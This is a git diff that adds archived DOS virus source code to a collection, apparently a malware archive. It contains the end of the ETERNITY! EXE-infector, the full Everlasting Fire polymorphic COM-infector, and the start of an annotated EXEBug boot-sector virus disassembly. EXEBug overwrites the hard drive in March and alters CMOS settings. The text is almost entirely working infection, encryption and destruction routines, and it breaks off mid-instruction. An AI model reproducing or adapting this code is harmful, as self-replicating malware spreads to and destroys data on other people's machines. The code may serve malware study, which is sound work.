nothing really! Haha!, +; he can suck his dick blue, 9 out of 10 "new" viruses, blah!!! + +; This virus don't have ANY destructive routine at all!, Yes, it's +; true! I hope this one will survive into ETERNITY!..Greetings, +; must go out to Raver, and Tormentor/DY. Hope you enjoy this code! + +;============================================================================= +; **** ETERNITY! **** +;============================================================================= + + .model tiny + .radix 16 + .code + +Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus. + org 100 + +Virus_Start: call where_we_are + +where_we_are: pop bp + sub bp,where_we_are-Virus_Start + + call encrypt_decrypt + jmp encryption_start +write_virus: + call encrypt_decrypt + mov ah,40 ; Write virus to EOF. + mov cx,Virus_Lenght + mov dx,bp + int 21 + call encrypt_decrypt + ret + +encryption_value dw 0 +encrypt_decrypt: + lea si,cs:[bp+encryption_start-virus_start] + mov cx,(end_of_virus-encryption_start+1)/2 + mov dx,word ptr cs:[bp+encryption_value-virus_start] + +again: + xor word ptr cs:[si],dx + add si,2 + loop again + ret + + +encryption_start: + + mov ax,es + add ax,10 + add ax,cs:[bp+Exe_header-Virus_Start+16] + push ax + push cs:[bp+Exe_header-Virus_Start+14] + + push ds + push cs + pop ds + + mov ah,1a ;SET-DTA + lea dx,[bp+Own_dta-virus_start] ;till own_dta + int 21 + +;Get starting dir + mov ah,47 + xor dl,dl + lea si,[bp+dir-virus_start] + int 21 + + +;start finding files + xor di,di ;infection count + + mov ah,4e ; We start to look for a *.EXE file +look4victim: ;mov dx,offset file_match-Virus_Start + ;add dx,bp + lea dx,[bp+file_match-virus_start] + int 21 + + jnc clear_attribs + + lea dx,[bp+dot_dot-virus_start] + mov ah,3bh + int 21h + jnc not_root + jmp no_victim_found +not_root: + mov ah,4e + jmp look4victim +; jmp no_victim_found ; If no *.EXE files was found. + +clear_attribs: + mov ax,4301h + xor cx,cx + lea dx,[bp+own_dta-virus_start+1eh] + int 21h + +cont2: mov ax,3d02 ;open file + mov dx,Own_dta-Virus_Start+1e + add dx,bp + int 21 + + jnc cont1 ;exit if error + jmp cant_open_file + +cont1: xchg ax,bx ;handle in bx + + mov ah,3f ;read file - 28 bytes + mov cx,1c ;to EXE_header + lea dx,[bp+exe_header-virus_start] + int 21 + + jnc no_error ;exit if error + jmp read_error +no_error: + cmp byte ptr ds:[bp+Exe_header-Virus_Start],'M' + jnz no_exe ; !!! Some EXEs starts with ZM !!! + cmp word ptr ds:[bp+Exe_header-Virus_Start+12],'RI' + jz infected + + mov ax,4202 ; Go EOF + xor cx,cx + xor dx,dx + int 21 + + push dx + push ax + + mov ah,2ch ; this gets a random + int 21h ; encryption value.. + mov word ptr cs:[bp+encryption_value-virus_start],dx + + call write_virus +; mov ah,40 ; Write virus to EOF. +; mov cx,Virus_Lenght +; mov dx,bp +; int 21 + + mov ax,4202 ; Get NEW filelenght. + xor cx,cx + xor dx,dx + int 21 + + mov cx,200 + div cx + inc ax + mov word ptr ds:[Exe_header-Virus_Start+2+bp],dx + mov word ptr ds:[Exe_header-Virus_Start+4+bp],ax + + pop ax + pop dx + + mov cx,10 + div cx + sub ax,word ptr ds:[Exe_header-Virus_Start+8+bp] + mov word ptr ds:[Exe_header-Virus_Start+16+bp],ax + mov word ptr ds:[Exe_header-Virus_Start+14+bp],dx + + mov word ptr ds:[Exe_header-Virus_Start+12+bp],'RI' + + mov ax,4200 ; Position file-pointer to BOF + xor cx,cx + xor dx,dx + int 21 + + mov ah,40 ; Write header + mov cx,1c +; mov dx,offset Exe_header-Virus_Start +; add dx,bp + lea dx,[bp+exe_header-virus_start] + int 21 + + jc write_error + +no_exe: + jmp close_it ; +infected: + dec di +close_it: + +;restore date + lea si,[bp+own_dta-virus_start+16h] + mov cx,word ptr [si] + mov dx,word ptr [si+2] + mov ax,5701h + int 21h + + mov ah,3e ;close file + int 21 + + +; file attrib + mov ax,4301h + xor ch,ch + lea bx,[bp+own_dta-virus_start+15h] + mov cl,[bx] + lea dx,[bp+own_dta-virus_start+1eh] + int 21h + +Sick_or_EXE: mov ah,4f ;find next in dir until all is found + inc di + cmp di,3 + jae finnished_infection + jmp look4victim + +write_error: ; Here you can test whats went wrong. +read_error: ; This is just for debugging purpose. +cant_open_file: ; These entries are equal to eachother +no_victim_found: ; but could be changed if you need to test something. +finnished_infection: + +;restore dir + lea dx,[bp+dir-virus_start] + mov ah,03bh + int 21 + +quit: + pop ds + retf + +note db "[ETERNITY!] (c) '93 The Unforgiven/Immortal Riot " +dot_dot db '..',0 +file_match db '*.EXE',0 ; Files to infect. +Exe_header db 16 DUP(0) + dw 0fff0 ; Just for this com file. + db 4 DUP(0) +Own_Dta db 02bh DUP(0) +dir db 65 dup (?) + +Virus_End EQU $ +end_of_virus: + end Virus_Start \ No newline at end of file diff --git a/e/EVERFIRE.A86 b/e/EVERFIRE.A86 new file mode 100755 index 0000000..d87b639 --- /dev/null +++ b/e/EVERFIRE.A86 @@ -0,0 +1,231 @@ +; +; Everlasting Fire Virus by John Tardy +; + + Org 100h + +Jump: Jmp Virus + +Decr: +Instr: db 'Generation' +Loopje DB 0e2h + db 0fah +DecrLen Equ $-Decr +Crypt: +Virus: Push Ax + Call GetOfs +GetOfs: Pop Ax + Sub Ax,GetOfs + Mov Bp,Ax + + Lea Si,OrgPrg[BP] + Mov Di,100h + Movsw + Movsb + + Mov Ah,1ah + Mov Dx,0f900h + Int 21h + + Mov Ah,4eh +Search: Lea Dx,FileSpec[BP] + Xor Cx,Cx + Int 21h + Jnc Found + +Ready: Mov Ah,1ah + Mov Dx,80h + Int 21h + + Mov Bx,100h + Pop Ax + Push Bx + Ret + +Found: Mov Ax,4300h + Mov Dx,0f91eh + Int 21h + + Push Cx + Mov Ax,4301h + Xor Cx,Cx + Int 21h + + Mov Ax,3d02h + Int 21h + Mov Bx,5700h + Xchg Ax,Bx + Int 21h + Push Cx + Push Dx + And Cx,1fh + Cmp Cx,1 + Jne CheckExe + Jmp ExeFile + +CheckExe: Mov Ah,3fh + Lea Dx,OrgPrg[BP] + Mov Cx,3 + Int 21h + Mov Ax,Cs:[OrgPrg][BP] + Cmp Ax,'MZ' + Je ExeFile + Cmp Ax,'ZM' + Je ExeFile + Pop Dx + Pop Cx + And Cx,0ffe0h + Or Cx,1 + Push Cx + Push Dx + +Infect: + Mov Ax,4202h + Call FSeek + Sub Ax,3 + Mov Cs:CallPtr[BP]+1,Ax + Add Ax,Offset Crypt + Mov S_1[Bp+1],Ax + Mov S_2[Bp+1],Ax + Mov S_3[Bp+4],Ax + Mov S_4[Bp+4],Ax + Call GenPoly + + Mov Ah,40h + Lea Dx,0fa00h + Mov Cx,VirLen + Int 21h + Mov Ax,4200h + Call FSeek + Mov Ah,40h + Lea Dx,CallPtr[BP] + Mov Cx,3 + Int 21h + Call Close + Jmp Ready + + +ExeFile: Call Close + Mov Ah,4fh + Jmp Search +FSeek: Xor Cx,Cx + Xor Dx,Dx + Int 21h + Ret + +Close: Pop Si + Pop Dx + Pop Cx + Mov Ax,5701h + Int 21h + Mov Ah,3eh + Int 21h + Mov Ax,4301h + Pop Cx + Mov Dx,0fc1eh + Int 21h + Push Si + Ret + + Db 13,10,'Mourners of a dying world' + Db 13,10,'Too late to reconcile' + Db 13,10,'Into Everlasting Fire' + Db 13,10,'Can''t you see it''s Satan''s world' + +GenPoly: Xor Byte Ptr [Loopje][Bp],2 + Xor Ax,Ax + Mov Es,Ax + Mov Ax,Es:[46ch] +; Xor Ax,Ax ; DEZE ERUIT!!! + Mov Es,Cs + Push Ax + And Ax,07ffh + Add Ax,CryptLen + Mov S_1[Bp+4],Ax + Mov S_2[Bp+4],Ax + Mov S_3[Bp+1],Ax + Mov S_4[Bp+1],Ax +Doit: Pop Ax + Push Ax + And Ax,3 + Shl Ax,1 + Mov Si,Ax + Mov Ax,Word Ptr Table[Si][Bp] + Add Ax,Bp + Mov Si,Ax + Lea Di,Instr[Bp] + Movsw + Movsw + Movsw + Movsw + Pop Ax + Stosb + Movsb + Mov Dl,Al + Lea Si,Decr[BP] + Mov Di,0fa00h + Mov Cx,DecrLen + Rep Movsb + Lea Si,Crypt[BP] + Mov Cx,CryptLen +Encrypt: Lodsb + Xor Al,Dl + Stosb + Loop Encrypt + Cmp Dl,0 + Je Fuckit + Ret + +FuckIt: Lea Si,Encr0 + Mov Di,0fa00h + Mov Cx,Encr0Len + Rep Movsb + Mov Ax,Cs:CallPtr[BP]+1 + Add Ax,Encr0Len+2 + Mov Cs:CallPtr[BP]+1,Ax + Ret + + DB 'TRIDENT' + +Table DW Offset S_1 + DW Offset S_2 + DW Offset S_3 + DW Offset S_4 + +S_1: Lea Si,0 + Mov Cx,0 + DB 80h,34h + Inc Si +S_2: Lea Di,0 + Mov Cx,0 + DB 80h,35h + Inc Di +S_3: Mov Cx,0 + Lea Si,0 + DB 80h,34h + Inc Si +S_4: Mov Cx,0 + Lea Di,0 + DB 80h,35h + Inc Di + +Encr0 Db 'John Tardy' +Encr0Len Equ $-Encr0 + +CallPtr Db 0e9h,0,0 + +FileSpec Db '*.CoM',0 + +OrgPrg: Int 20h + Db '!' + +CryptLen Equ $-Crypt + +VirLen Equ $-Decr + + + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/e/EXEBUG.ASM b/e/EXEBUG.ASM new file mode 100755 index 0000000..6fc361c --- /dev/null +++ b/e/EXEBUG.ASM @@ -0,0 +1,673 @@ +From smtp Tue Feb 7 13:18 EST 1995 +Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:18 EST +Received: by lynx.dac.neu.edu (8.6.9/8.6.9) + id NAA25457 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:20:39 -0500 +Date: Tue, 7 Feb 1995 13:20:39 -0500 +From: lynx.dac.neu.edu!ekilby (Eric Kilby) +Content-Length: 44201 +Content-Type: binary +Message-Id: <199502071820.NAA25457@lynx.dac.neu.edu> +To: pobox.jwu.edu!joshuaw +Subject: (fwd) EXEBug +Newsgroups: alt.comp.virus +Status: O + +Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm +From: danishm@iia.org () +Newsgroups: alt.comp.virus +Subject: EXEBug +Date: 5 Feb 1995 22:08:52 GMT +Organization: International Internet Association. +Lines: 641 +Message-ID: <3h3i9k$v4@ankh.iia.org> +NNTP-Posting-Host: iia.org +X-Newsreader: TIN [version 1.2 PL2] + +Here is the EXEBug virus: + +;------------------------------------------------------------------------- +.286p ; The EXEBUG2 Virus. This virus +.model tiny ; infects diskette boot sectors and +.code ; activates in March of any year, + ; destroying the hard drive. It + ORG 0100h ; contains instructions for 80286+ + ; processors. +;---------------------------------------;--------------------------------- +; As of Apr 21st, this disassembly is ; Disassembled with Master Core +; incomplete, as the test computer uses ; Disassembler: IQ Software +; Disk Manager and can not be infected. ; Analyzed with Quaid Analyzer: +; ; Quaid Software Ltd. +;------------------------------------------------------------------------- +; We are using an origin of 100h, so that this can be assembled with TASM +; and linked with tlink /t. You will have a 512 byte .COM file which is +; a byte-for-byte duplicate of the original boot sector. Note that 100h +; must be subtracted from many of the offsets. +;------------------------------------------------------------------------- + ;Offset Opcode |Comment + ;--------------------------------- +Boot_Start: ;00100 EB1C + ;--------------------------------- + JMP Short Change_RAM ; Boot sectors always begin with + ; a long jump (E9 XX XX) or a short + ; jump (EB XX 90) + ;--------------------------------- + NOP ;00102 90 |NOP for short jump +;---------------------------------------; | +; Data in Code Area ; | +;---------------------------------------; | +OEM DB "MSDOS5.0" ;00103 4D53444F|OEM name +Byt_Sec DW 0200h ;0010B 0002 |Bytes per sector +Sct_AlU DB 02h ;0010D 02 |Sectors per + ; | allocation unit +RsvdSct DW 0001h ;0010E 0100 |Reserved sectors +NumFATs DB 02h ;00110 02 |Number of FATs +RootSiz DW 0070h ;00111 7000 |Number of root dir + ; | entries (112) +TotSect DW 02D0h ;00113 D002 |Total sectors in + ; | volume (1440) +MedDesc DB 0FDh ;00115 FD |Media descriptor + ; | byte: + ;--------------------------------- + ; F8 = hard disk + ; F0 = 3" 18 sector + ; F9 = 3" 9 sector + ; F9 = 5" 15 sector + ; FC = 5" SS 9 sector + ; FD = 5" DS 9 sector + ; FE = 5" SS 8 sector + ; FF = 5: DS 8 sector + ;--------------------------------- +FATSect DW 0002h ;00116 0200 |Sectors per FAT +Sct_Trk DW 0009h ;00118 0900 |Sectors per track +NumHead DW 0002h ;0011A 0200 |Number of heads +aDrvNum DW 0000h ;0011C 0000 |Drive number (0=A:) +;---------------------------------------;--------------------------------- + ; | +Change_RAM: ; | + ; | + XOR AX,AX ;0011E 33C0 |Zero register + MOV DS,AX ;00120 8ED8 |DS = 0000 + MOV DI,AX ;00122 8BF8 |DI = 0000 + MOV SS,AX ;00124 8ED0 |SS = 0000 + MOV SP,7C00h ;00126 BC007C |SP = 7C00 + ;--------------------------------- + ; Get RAM size (usually 64*10 K) + ; and put it in register AX. +Get_RAM_Size: ;--------------------------------- + ; | + MOV AX,Word Ptr DS:[0413h] ;00129 A11304 |0000:0413 holds + ; | RAM size + MOV CX,0106h ;0012C B90601 |This does two things: + ; |it sets up a MOVSW, + ; |and it puts a 6 in + ; |CL for the SAL,CL + DEC AX ;0012F 48 |Steal 1K of RAM + ; | (decrease RAM size) + MOV SI,SP ;00130 8BF4 |SI is 7C00. Use to + ; | move boot sector + ; | in Copy_Boot routine. + ;--------------------------------- + ; RAM size is now 1K less; put it + ; in DS:0413h (RAMsize) +Put_RAM_Size: ;--------------------------------- + ; | + MOV Word Ptr DS:[0413h],AX ;00132 A31304 |Put the new RAM + ; | size back in [0413] + SAL AX,CL ;00135 D3E0 |Convert to paragraphs +;------------------------------------------------------------------------- +; AX now holds the SEGMENT of the new Int 13 service routine at TOM - 1K. +; Next operation exchanges this with the old Int 13 segment stored at 0000:004E. +;------------------------------------------------------------------------- + ; | + MOV ES,AX ;00137 8EC0 |ES = new area SEGMENT + PUSH AX ;00139 50 |Save SEGMENT address + ; | on stack. Jump here + ; | at offset 0152. + XCHG AX,DS:[004Eh] ;0013A 87064E00|Exchange new and old + ; | SEGMENTS + ;--------------------------------- + + MOV Word Ptr DS:[7C00h+offset I13_Seg - 100h],AX + + ;--------------------------------- + ;0013E A3B87C |This really should be: + ; |[7C00h+offset I13_Seg], + ; |but we use an ORG of + ; |100h here. + ; + ;--------------------------------- + + MOV AX,offset New_Int13_ISR - 100h + + ;--------------------------------- + ;00141 B83201 |Likewise the offset + ; |of the new Int 13 + ; |service routine is + ; |decremented by 100h +;------------------------------------------------------------------------ +; AX now holds the OFFSET of the new Int 13 service routine, which is +; in our code at offset 232h. Next operation exchanges this with the +; the offset stored at 0000:004C. +;------------------------------------------------------------------------ + ; | + XCHG AX,DS:[004Ch] ;00144 87064C00|Exchange new and old + ; | OFFSETS + ;--------------------------------- + + MOV Word Ptr DS:[7C00h+offset I13_Off - 100h],AX + + ;--------------------------------- + ;00148 A3B67C |Again, decrement by + ; | 100h to compensate + ; | for ORG 100h + ; + ;--------------------------------- + + MOV AX,[offset Activation - 100h] + + ;--------------------------------- + ;0014B B89900 |Move offset of + ; |Activation routine + ; |to AX. + PUSH AX ;0014E 50 |Push the Activation + ; |address, and then + ; |use that as the + ; |OFFSET when we RETF + ; |at offset 0152. +Copy_Boot: ;--------------------------------- + ; | + CLD ;0014F FC |movsb will increment + ; |pointers cx=0106h + ; |ds=0000h sp=7C00h + ; |si=7C00h di=0000h + ; |Repeat until Zero + ; |Flag=0 or CX Times + ; | + REP MOVSW ;00150 F3A5 |MOVE DS:SI TO ES:DI + ;--------------------------------- + ; Move virus up to the memory we have + ; allocated, and set the INT handler. + ;--------------------------------- + ; | + RETF ;00152 CB |The segment and + ; |offset of the + ; |Activation routine + ; |were pushed on the + ; |stack previously, so + ; |a RETF jumps there + ; |(at top of memory) + ;>>>>>>>>>>>>>>>|JUMP TO ACTIVATION +;---------------------------------------;--------------------------------- + ; | + DB 04h ;00153 04 | +Drive DB 20h ;00154 20 |CMOS drive type (AH), + ; | is stored here. +ChkSum DW 046Ch ;00155 6C04 |CMOS checksum (DX), + ; | is stored here. +Install DB 01h ;00157 01 |This byte is checked + ; | at offset 294. It is + ; | used for the value + ; | of CX when the boot + ; | record is written + ; | (starting sector) + ; | Values are 1 or 11h. +;------------------------------------------------------------------------- +; The code (or is it data?) below from offsets 0158 to 0198 is not analyzed, +; as I could not get an infection on the test computer. +;------------------------------------------------------------------------- + SUB [BX+SI],CH ;00158 2828 | + ADD [BX+DI],AL ;0015A 0001 | + ADD AL,[BP+1Eh] ;0015C 02461E + ; ADD AL,[BP+offset Change_RAM-100h] + PUSH CX ;0015F 51 | + MOV DL,65h ;00160 B265 | + MOV DI,DX ;00162 8BFA | + DEC AL ;00164 FEC8 | + STOSW ;00166 AB |STORE Word STRING + ; | FROM AX + ADD DI,+04h ;00167 83C704 | + XOR AL,0C0h ;0016A 34C0 | + STOSW ;0016C AB | + MOV CL,0Bh ;0016D B10B |cl=0Bh dl=65h + REP STOSB ;0016F F3AA |STORE 0Bh Bytes + ; | STRING FROM AL + MOV CL,13h ;00171 B113 | + MOV BH,03h ;00173 B703 | + CALL $-170h ;00175 E88DFE |This calls offset + ; |7B05 in this segment. + MOV AH,13h ;00178 B413 | + INT 2Fh ;0017A CD2F |Get & set DOS disk + ; |int handler + ; |ds:dx=new handler, + ; |es:bx=old + MOV CS:[01B8h],DS ;0017C 2E8C1E | + ; B801 | + ; | + MOV CX,DX ;00181 8BCA | + INT 2Fh ;00183 CD2F |Set it again + MOV DS:[01B6h],CX ;00185 890EB601| + CMP CL,32h ;00189 80F932 | + JZ H0000_0198 ;0018C 740A |Return if CL=32h + MOV CX,CS ;0018E 8CC9 | + ADD CX,+10h ;00190 83C110 | + PUSH CX ;00193 51 | + MOV AX,00FDh ;00194 B8FD00 | + PUSH AX ;00197 50 | + ; | +H0000_0198: ;--------------------------------- + ; | + RETF ;00198 CB | +;---------------------------------------;--------------------------------- + ; | +Activation: ; | + ; | + CALL Main_Routine ;00199 E86800 | + MOV AH,04h ;0019C B404 |AH=4 (get date) + INT 1Ah ;0019E CD1A |Get date + ; |CX=year, DX=mon/day + CMP DH,03h ;001A0 80FE03 |Is it month #3 + JZ Damage ;001A3 7402 |If it is March, + ; | do damage + INT 19h ;001A5 CD19 |Otherwise reboot + ; | with virus resident + ; | and Int 13 hooked +;---------------------------------------;--------------------------------- + ; Set up Int 13 call from the new +Damage: ; ISR at I13_Seg:I13_Off. + ;--------------------------------- + MOV AL,0FFh ;001A7 B0FF | + OUT 21h,AL ;001A9 E621 |Turn off IRQs + MOV DX,0080h ;001AB BA8000 |DH = head # (0), + ; |DL = drive # + ; | (+80 for hd) + MOV CX,0101h ;001AE B90101 |CH = cylinder #, + ; |CL = sector # +Trash_HardDrive: ;--------------------------------- + ; | + MOV AX,0311h ;001B1 B81103 |AH = function 03 + ; | (write sectors) + ; |AL = # of sectors + PUSHF ;001B4 9C |Push flags: normally + ; | done prior to + ; | interrupt. +FarCall DB 9Ah ;001B5 9A |Call the Int 13 + ; | service routine +I13_Off DW 0AB1Bh ;001B6 1BAB |(real) Int 13 offset +I13_Seg DW 0F000h ;001B8 00F0 |(real) Int 13 segment + INC DH ;001BA FEC6 |Next head + AND DH,07h ;001BC 80E607 |Test bits 0-3 of DH, + ; | clear 4-7 + JNZ Trash_HardDrive ;001BF 75F0 |If #head > 7 + ; |continue, else trash + INC CH ;001C1 FEC5 |Next cylinder + JNZ Trash_HardDrive ;001C3 75EC |If #cylinder > 255 + ; | continue, else keep + ; | on trashing. + ADD CL,40h ;001C5 80C140 |Set bits 6 and 7 of + ; | CL, enabling the + ; | entire drive to be + ; | overwritten (or at + ; |least 1024 cylinders) + JMP Short Trash_HardDrive ;001C8 EBE7 |Only way out of this + ; | is a disk error, or + ; | power off. +;-------------------------------------------------------------------------- + ;At this point, it is important to +Change_CMOS: ;know what the contents of DX is. + ; CMOS checksums are stored at + ; DS:0053 and DS:0055 +;-------------------------------------------------------------------------- + MOV AL,10h ;001CA B010 |Diskette type + CALL CMOS_Read_Write ;001CC E80700 | SET DISKETTE TYPE + MOV AL,2Fh ;001CF B02F |Hi checksum byte + CALL CMOS_Read_Write ;001D1 E80200 | SET CHECKSUM: set + ; | to zero or restore + MOV AL,2Eh ;001D4 B02E |Low checksum byte + ; | SET CHECKSUM: set + ; | to zero or restore +CMOS_Read_Write: ;--------------------------------- + ; | + OUT 70h,AL ;001D6 E670 |Tell CMOS address + ; | to read (in AL) + XCHG AH,DL ;001D8 86E2 |1st call: AH=DL=00 + ; |2nd call: AH=DL=00 + ; |3rd call: AH=20,DL=00 + ; |4th call: AH=5F,DL=00 + ; |5th call: AH=02,DL=5F + ; |6th call: AH=00,DL=02 + ; | + XCHG DL,DH ;001DA 86D6 |1st call: DH=DL=00 + ; |2nd call: DH=00,DL=20 + ; |3rd call: DH=00,DL=7F + ; |4th call: DH=00,DL=02 + ; |5th call: DH=5F,DL=00 + ; |6th call: DH=02,DL=00 + ; | + IN AL,71h ;001DC E471 |Read CMOS to AL + ; |1st call: AL=20 + ; |2nd call: AL=7F + ; |3rd call: AL=02 + ; |4th call: AL=00 + ; |5th call: AL=00 + ; |6th call: AL=00 + ; | + XCHG DH,AL ;001DE 86F0 |Trade AL <-> DH + ; |1st call: DH=20,AL=00 + ; |2nd call: DH=7F,AL=00 + ; |3rd call: DH=02,AL=00 + ; |4th call: DH=00,AL=00 + ; |5th call: DH=00,AL=5F + ; |6th call: DH=00,AL=02 + ; | + OUT 71h,AL ;001E0 E671 |Write contents of + ; | AL to CMOS + ; |1st call: AL=00 + ; |2nd call: AL=00 + ; |3rd call: AL=00 + ; |4th call: AL=00 + ; |5th call: AL=5F + ; |6th call: AL=02 + ; | + RET ;001E2 C3 |Return to Call_CMOS +;---------------------------------------;--------------------------------- + ; | +Setup_Int13: ; | + ; | + MOV AX,0301h ;001E3 B80103 |Function #3: write + ; | (1) sector +Real_Int13_2: ;--------------------------------- + ; | + CALL Restore_CMOS ;001E6 E80500 |Restore original CMOS + PUSHF ;001E9 9C |Prepare for interrupt + ;--------------------------------- + ;DO THE INTERRUPT 13 + CALL DWord Ptr DS:[I13_Off-100h] ;Subtract 100h from + ; offset of old Int 13 + ;001EA FF1EB600| vector and then call + ; | it as a DWord (i.e. + ; | as Segment:Offset) + ; | Standard Int 13 + ; | resets and repeats + ; | 3 times if carry + ; | flag not clear. +Restore_CMOS: ;--------------------------------- + ; | + CALL Xchg_Old_New ;001EE E80300 | + CALL Change_CMOS ;001F1 E8D6FF | + ; | +Xchg_Old_New: ;--------------------------------- + ; | + XCHG AX,DS:[0053h] ;001F4 87065300| + XCHG DX,DS:[0055h] ;001F8 87165500| + RET ;001FC C3 | +;---------------------------------------;--------------------------------- + ; | +Jump_From_Boot: ; | + ; | + CALL Main_Routine ;001FD E80400 | + ; CALL 0204h | + ; | + CALL Restore_CMOS ;00200 E8EBFF |Call 01EEh + ;-------------------------------;--------------------------------- + ;RETF ; |This must be assembled + ; |as DB 0CBh, otherwise + DB 0CBh ;00203 CB |the assembler emits + ; |CA CB 00. +;---------------------------------------;--------------------------------- + ; |Diddle CMOS. Read +Main_Routine: ;00204 |boot with new Int13. + ; | +;------------------------------------------------------------------------- +; | +; (64 Bytes) FFEEDDCC BBAA9988 77665544 33221100 |This is the original +; -------- -------- -------- -------- |CMOS setting. +; CMOS IS NOW: 00008050 02269303 28000016 00200027 | +; 00000000 0000310D 80028003 00F00020 <--|diskette drive(s) type +; Checksum --> 7F021A04 01000009 04000000 00000000 |Bits 7-4: drive 0 +; is 7F02 00000001 01000000 00000000 80190D80 |Bits 3-0: drive 1 +; | 0000b = no drive +; | 0001b = 360K +; | 0010b = 1.2 MB +; | 0011b = 720K +; | 0100b = 1.44 MB +; |so in this case there +; |is one 1.2 meg drive +; |and no 'B' drive +;------------------------------------------------------------------------- + ; |Put address of +CMOS_0: ; | hidden memory on + PUSH CS ;00204 0E | stack and then pop + POP DS ;00205 1F | it into DS. + MOV ES,CX ;00206 8EC1 |Zero ES + CALL Change_CMOS ;00208 E8BFFF |AX=0099,DX=0000 +;------------------------------------------------------------------------- +; +; CMOS CHANGED: 00008050 02269303 28000017 00420002 +; 00000000 0000310D 80028003 00F00000 <-NOTE CHANGE +; NOTE CHANGE-> 00001A04 01000009 04000000 00000000 No drive +; No checksum 00000001 01000000 00000000 80190D80 +; +;------------------------------------------------------------------------- + ; |Now the drive type +CMOS_1: ; | and checksum are 00 + MOV AL,AH ;0020B 8AC4 |AX=2020 + AND AL,0F0h ;0020D 24F0 |AX=2020 + JZ Calc_ChkSum ;0020F 7408 |Is zero flag set? + MOV DS:[0055h],DX ;00211 89165500|Store checksum in + ; | DS:[0055] + MOV DS:[0054h],AH ;00215 88265400|Store drive type + ; | in DS:[0054] +Calc_ChkSum: ;--------------------------------- + ; | + AND AH,0Fh ;00219 80E40F |Clears high bits + ; | AX=0020 + SUB DL,AL ;0021C 2AD0 |DX=025F + SBB DH,00h ;0021E 80DE00 |DX=025F + CALL Change_CMOS ;00221 E8A6FF |AX=0020, DX=025F +;------------------------------------------------------------------------- +; +; CMOS CHANGED: 00008050 02269303 28000018 00030041 +; 00000000 0000310D 80028003 00F00000 +; NOTE CHANGE-> 5F021A04 01000009 04000000 00000000 +; 00000001 01000000 00000000 80190D80 +; +;------------------------------------------------------------------------- + ; | +CMOS_2: ; | + MOV DL,80h ;00224 B280 | DL = 80 + ; | +Read_Boot: ;--------------------------------- + ; | + MOV CX,0001h ;00226 B90100 | CX = 0001 + MOV DH,CH ;00229 8AF5 | DH = 00 + POP AX ;0022B 58 | Pop return offset + PUSHF ;0022C 9C | Push flags + PUSH CS ;0022D 0E | Save segment + PUSH AX ;0022E 50 | Save offset + MOV AX,0201h ;0022F B80102 | AX = 0201 (read + ; | one sector) + ; +New_Int13_ISR: ;___ New Int 13 Service Routine ___ + ; + CLD ;00232 FC |Clear direction flag + PUSH DS ;00233 1E | + PUSH SI ;00234 56 | + PUSH DI ;00235 57 |Save some registers + PUSH CX ;00236 51 | + PUSH AX ;00237 50 | + PUSH CS ;00238 0E | + POP DS ;00239 1F |DS = CS + CMP AH,03h ;0023A 80FC03 |Is it a function 3 + ; | (write disk) call? + JNZ Real_Int13_1 ;0023D 7521 |No, so do real Int 13 + CMP Byte Ptr ES:[BX],4Dh ;0023F 26803F4D|Yes, but is ES:[BX]=4D? + JNZ Real_Int13_1 ;00243 751B |No, so do real Int13 + OR AH,DL ;00245 0AE2 |Yes, but which drive? + CMP CL,AH ;00247 3ACC |Is drive OK?? + JNZ Real_Int13_1 ;00249 7515 |No, so do real Int13 + MOV DI,BX ;0024B 8BFB |Yes, buffer is [4D] + MOV SI,00A7h ;0024D BEA700 | + MOV CX,01FEh ;00250 B9FE01 |Going to move 1FE words + AND DL,DL ;00253 22D2 |Is it drive #0 (A:)? + JNZ H0000_025E ;00255 7507 |No, so move 'em + MOV SI,0002h ;00257 BE0200 |Yes, SI = 0002 + MOV AX,5CEBh ;0025A B8EB5C |Move value in AX + STOSW ;0025D AB | to ES:[4D] + ; | +H0000_025E: ;--------------------------------- + ; |cx=01FEh,ds=0000h + ; |si=0002h Move 1FE + REP MOVSB ; | words from DS:SI + ;0025E F3A4 | to ES:DI +Real_Int13_1: ;--------------------------------- + ; | + POP AX ;00260 58 |Restore registers + POP CX ;00261 59 | + POP DI ;00262 5F | + MOV SI,AX ;00263 8BF0 |SI=function,subfn + CALL Real_Int13_2 ;00265 E87EFF |When done go to + ; | Return_here. +Return_Here: ;--------------------------------- + ; | + JB Int13_Error ;00268 721D |If Int 13 returned + ; | error go to err rtn + PUSH DI ;0026A 57 |Save registers + PUSH AX ;0026B 50 | + OR DH,DH ;0026C 0AF6 |Was drive A: target? + JNZ Exit_Virus ;0026E 7514 |Yes, Exit_Virus + CMP CX,+01h ;00270 83F901 |Was it a 1 sector + ; | operation? + JNZ Exit_Virus ;00273 750F |No, Exit_Virus + MOV AX,SI ;00275 8BC6 |Restore Int 13 + ; | function, sub fn + CMP AH,02h ;00277 80FC02 |Was it a read fn? + JZ Int13_Read ;0027A 7410 | + CMP AH,03h ;0027C 80FC03 | + JNZ Exit_Virus ;0027F 7503 | + ; | +Read_New_Boot: ;--------------------------------- + ; |This pushes the + CALL Read_Boot ;00281 E8A2FF | address of + ; | Read_Boot on stack +Exit_Virus: ;--------------------------------- + ; | + CLC ;00284 F8 | + POP AX ;00285 58 |Restore registers + POP DI ;00286 5F | + ; | +Int13_Error: ;--------------------------------- + ; | + POP SI ;00287 5E | + POP DS ;00288 1F | + RETF 0002h ;00289 CA0200 |Return to address + ; | on stack. Discard + ; | next two bytes on + ; | stack. This + ; | eventually gets us + ; | to offset 19C (check + ; | activation & reboot) +;---------------------------------------;--------------------------------- +Int13_Read: ; | + ; | + PUSH CX ;0028C 51 |Push # sectors + CMP Byte Ptr ES:[BX+28h],7Ch;0028D 26807F |Compare [0000:7C28] + ; 287C | with 7C. (Boot + ; | record offset 28). + JNZ Boot_Changed ;00292 750D |If no, then the + ; | boot record changed. + ;00294 268B8F |MOV CX,ES:[BX+0057h] + ; 5700 | + ; + MOV CX,ES:[BX + word ptr Install - 100h] ;Move starting sector + ; to CX + MOV AL,01h ;00299 B001 | + CALL Real_Int13_2 ;0029B E848FF | + ; | +HD_Exit: ;--------------------------------- + ; | + POP CX ;0029E 59 | + JMP Short Exit_Virus ;0029F EBE3 | +;---------------------------------------;--------------------------------- +Boot_Changed: ; | + ; | + PUSH DX ;002A1 52 |Save drive info + MOV CL,11h ;002A2 B111 |CX=0011 (Changed) + TEST 